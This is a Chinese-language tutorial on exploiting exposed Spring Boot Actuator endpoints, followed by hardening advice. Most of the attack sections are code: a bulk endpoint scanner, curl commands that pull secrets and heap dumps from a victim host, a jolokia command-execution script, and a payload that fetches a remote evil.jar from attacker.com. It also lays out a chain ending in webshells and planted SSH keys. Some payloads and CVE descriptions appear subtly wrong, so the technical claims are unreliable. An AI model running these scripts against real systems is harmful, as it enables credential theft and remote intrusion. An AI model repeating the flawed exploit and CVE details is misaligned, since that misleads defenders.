Spring Boot Actuator 未授权访问

1. Actuator 端点一览

| 端点 | 作用 | 敏感等级 |
| /actuator/env | 暴露所有环境变量含 DB 密码、AK/SK | 严重 |
| /actuator/configprops | 配置属性,同样可能含密钥 | 严重 |
| /actuator/heapdump | JVM 堆快照,包含内存中所有对象 | 严重 |
| /actuator/jolokia | MBean 代理,可反射调用任意方法 | 严重 |
| /actuator/mappings | 全部 URL 路由 | 中 |
| /actuator/health | 健康状态 | 低 |

Spring Boot 1.x 默认暴露在根路径(/env、/heapdump),2.x 迁移到 /actuator/ 前缀。

2. 未授权访问根因

Actuator 安全依赖 Spring Security 配置。若项目未引入 spring-security 或配置有误,所有端点默认对外。

危险配置:

management:
  endpoints:
    web:
      exposure:
        include: '*'
      base-path: /actuator

3. 识别与批量扫描

import requests, urllib3
urllib3.disable_warnings()

ENDPOINTS = [
    "/actuator/env", "/actuator/configprops", "/actuator/heapdump",
    "/actuator/jolokia", "/actuator/mappings", "/actuator/beans",
    "/actuator/threaddump", "/actuator/loggers",
]

def scan(base_url):
    found = []
    for path in ENDPOINTS:
        try:
            r = requests.get(base_url.rstrip("/") + path, timeout=5, verify=False,
                             headers={"User-Agent": "Mozilla/5.0"})
            if r.status_code == 200 and len(r.text) > 10:
                print(f"    [+] {path} -> {len(r.text)} bytes")
                found.append(path)
        except Exception:
            pass
    return found

if __name__ == "__main__":
    with open("targets.txt") as f:
        for url in f:
            scan(url.strip())

4. 端点利用详解

4.1 /actuator/env 密钥泄露

重点关注字段:password、secret、key、token、credential、accessKey、AK、SK。

curl -s http://victim.example.com/actuator/env | jq '.propertySources[] | .properties | keys'
# Spring Boot 1.x 可通过 POST 触发额外泄露
curl -X POST 'http://victim.example.com/env' -d 'spring.datasource.password=password'

4.2 /actuator/heapdump 内存 dump

curl -o heapdump.hprof 'http://victim.example.com/actuator/heapdump'
# 用 MAT / jhat 离线分析
jhat -port 9999 heapdump.hprof
# 浏览器打开 http://127.0.0.1:9999/oql/

4.3 /actuator/jolokia RCE(最致命)

jolokia 暴露 JMX MBean 远程调用能力:

import requests, json, urllib3
urllib3.disable_warnings()

def jolokia_rce(base_url, cmd):
    url = base_url.rstrip("/") + "/actuator/jolokia/exec"
    payload = {
        "mbean": "java.lang.management:type=Runtime",
        "operation": "exec",
        "type": "EXEC",
        "arguments": ["/bin/sh", "-c", cmd]
    }
    r = requests.post(url, data=json.dumps(payload), verify=False, timeout=10)
    print(r.text)

jolokia_rce("http://victim.example.com", "id")

也可直接动态加载 jar:

{
  "mbean": "org.springframework.boot:name=SpringApplication",
  "operation": "reloadByURL",
  "type": "EXEC",
  "arguments": ["http://attacker.com/evil.jar"]
}

4.4 /actuator/shutdown

部分 Spring Boot 1.x 版本开启 management.security.enabled=false 后可直接 POST /shutdown 关闭服务。

5. 完整攻击链

[1] 扫描 /actuator 端点
  → [2] /actuator/env 拿到 DB 连接串
    → [3] MySQL root → SELECT INTO OUTFILE 写 webshell
    → [3] Redis → SSH key 写入 authorized_keys
  → [2] heapdump → MAT 提取 AK/SK → 接管云主机
  → [2] jolokia → 直接 RCE

6. 修复与加固

6.1 Spring Boot 2.x 标准配置

management:
  endpoints:
    web:
      exposure:
        include: health,info
      base-path: /internal
      cors:
        allowed-origins: ""
  endpoint:
    health:
      show-details: never
    env:
      show-values: never
    configprops:
      show-values: never
  server:
    port: 8081
    address: 127.0.0.1

spring:
  security:
    user:
      name: admin
      password: ${ACTUATOR_PASSWORD:change-me}

6.2 Spring Security 过滤链

@Configuration
@EnableWebSecurity
public class ActuatorSecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .antMatcher("/actuator/**")
            .authorizeRequests()
                .antMatchers("/actuator/health", "/actuator/info").permitAll()
                .anyRequest().hasRole("ACTUATOR_ADMIN")
            .and().httpBasic();
    }
}

6.3 Nginx 层保护

location ~ ^/actuator/(env|heapdump|jolokia|configprops|beans|mappings|shutdown)$ {
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    deny all;
}
auth_basic "Internal Actuator";
auth_basic_user_file /etc/nginx/.htpasswd;

6.4 运维

  • iptables -A INPUT -p tcp --dport 8081 -s 127.0.0.1 -j ACCEPT 绑定本机;
  • CI 中加入 Actuator 端点检查;
  • 对 env/heapdump/jolokia 建立实时告警。

7. 关联 CVE

  • CVE-2020-5421:Spring Boot 1.5 Actuator env 泄露;
  • CVE-2021-21234:loggers 配置文件路径穿越;
  • CVE-2022-22965:Spring4Shell + Actuator 联动;
  • CVE-2023-20860:Spring Boot Actuator SpEL 注入。

最有效的加固是"默认关闭全部端点 + 内网隔离"。